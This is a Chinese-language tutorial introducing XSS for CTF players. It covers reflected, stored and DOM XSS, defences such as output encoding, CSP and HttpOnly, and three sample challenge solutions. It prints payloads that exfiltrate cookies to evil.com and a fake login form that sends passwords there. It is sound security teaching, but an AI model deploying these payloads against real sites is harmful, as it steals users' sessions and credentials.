从零开始:CTF中的XSS漏洞入门指南

1. 什么是XSS?

跨站脚本攻击(Cross-Site Scripting, XSS) 是一种常见的Web安全漏洞,攻击者通过向网页注入恶意脚本,使其在受害者的浏览器中执行。由于JavaScript可以访问Cookie、LocalStorage、DOM等敏感数据,XSS通常用于窃取用户信息、劫持会话、钓鱼攻击等。


2. XSS漏洞类型

XSS主要分为三类:反射型XSS存储型XSSDOM型XSS

2.1 反射型XSS(Reflected XSS)

  • 特点:Payload通常出现在URL中,服务器返回的HTML直接包含恶意脚本,但不会存储到数据库。
  • 攻击方式:诱骗用户点击恶意链接(如钓鱼邮件、短链)。
  • 示例
    http://example.com/search?q=<script>alert(1)</script>
    
    如果服务器未过滤输入,直接返回q的值,则脚本会在用户浏览器执行。

2.2 存储型XSS(Stored XSS)

  • 特点:Payload存储在服务器(如数据库、评论、留言板),所有访问受影响页面的用户都会触发。
  • 攻击方式:攻击者提交恶意内容(如论坛发帖、用户资料修改)。
  • 示例
    用户评论:<script>fetch("https://evil.com/steal?cookie="+document.cookie)</script>
    
    该评论被存入数据库,其他用户访问时自动执行,窃取其Cookie。

2.3 DOM型XSS(DOM-Based XSS)

  • 特点:纯前端漏洞,由JavaScript动态操作DOM导致,不经过服务器。
  • 攻击方式:利用document.writeinnerHTMLeval等不安全操作。
  • 示例
    http://example.com/#<img src=x onerror=alert(1)>
    
    如果前端代码直接使用location.hash插入DOM,就会触发XSS。

3. XSS的利用方式

XSS的危害不仅限于弹窗(alert(1)),攻击者可实现更复杂的攻击:

  • 窃取Cookiedocument.cookie 发送到攻击者服务器
  • 会话劫持:利用窃取的Cookie登录用户账户
  • 键盘记录:监听onkeypress事件窃取输入
  • 钓鱼攻击:伪造登录框诱导用户输入密码
  • CSRF攻击:利用JavaScript发起恶意请求(如转账、改密码)

示例Payload

// 窃取Cookie并外带
<script>
  fetch('https://evil.com/steal?data=' + btoa(document.cookie));
</script>

// 伪造登录框
<script>
  document.body.innerHTML = '<h1>Session Expired</h1><form action="https://evil.com/steal" method="POST"><input type="text" name="username"><input type="password" name="password"><button>Login</button></form>';
</script>

4. XSS的防御方法

4.1 输入过滤 & 输出编码

  • 前端:使用textContent代替innerHTML,避免直接插入HTML
  • 后端:对用户输入进行HTML实体编码(如<&lt;
    • PHP:htmlspecialchars($input, ENT_QUOTES)
    • Python(Flask/Jinja2):{{ user_input | escape }}

4.2 CSP(内容安全策略)

通过HTTP头Content-Security-Policy限制脚本加载来源:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
  • 阻止内联脚本(unsafe-inline
  • 限制外部资源加载(如evaldata:

4.3 HttpOnly Cookie

设置HttpOnly防止JavaScript读取敏感Cookie:

Set-Cookie: sessionid=123abc; HttpOnly; Secure

4.4 使用安全框架

  • React/Vue/Angular:默认自动转义,但仍需警惕dangerouslySetInnerHTMLv-html
  • DOMPurify:过滤恶意HTML(Node.js/浏览器均可使用)

5. CTF中的XSS题目示例

题目1:基础反射型XSS

<!-- 后端代码(PHP) -->
<?php
  $query = $_GET['q'];
  echo "Search results for: " . $query;
?>

解法

http://ctf.example.com/?q=<script>alert(1)</script>

题目2:DOM型XSS绕过

<script>
  var userInput = decodeURIComponent(location.hash.slice(1));
  document.getElementById("output").innerHTML = userInput;
</script>

解法

http://ctf.example.com/#<img src=x onerror=alert(1)>

题目3:CSP绕过

Content-Security-Policy: script-src 'self' 'unsafe-eval'

解法

<script>
  eval("al"+"ert(1)");
</script>

6. 总结

类型存储位置触发方式防御方法
反射型XSSURL用户点击恶意链接输入过滤 + 输出编码
存储型XSS数据库访问被篡改页面CSP + HttpOnly Cookie
DOM型XSS前端DOM操作动态解析URL/输入避免innerHTMLeval

XSS是Web安全中最经典的漏洞之一,理解其原理和防御方法对CTF比赛和实际开发都至关重要。建议搭建靶场(如DVWA、XSS Game)进行实战练习,并关注最新绕过技术(如SVG XSS、Dangling Markup攻击)。

如果有具体问题或想深入某个方向,欢迎讨论! 🔍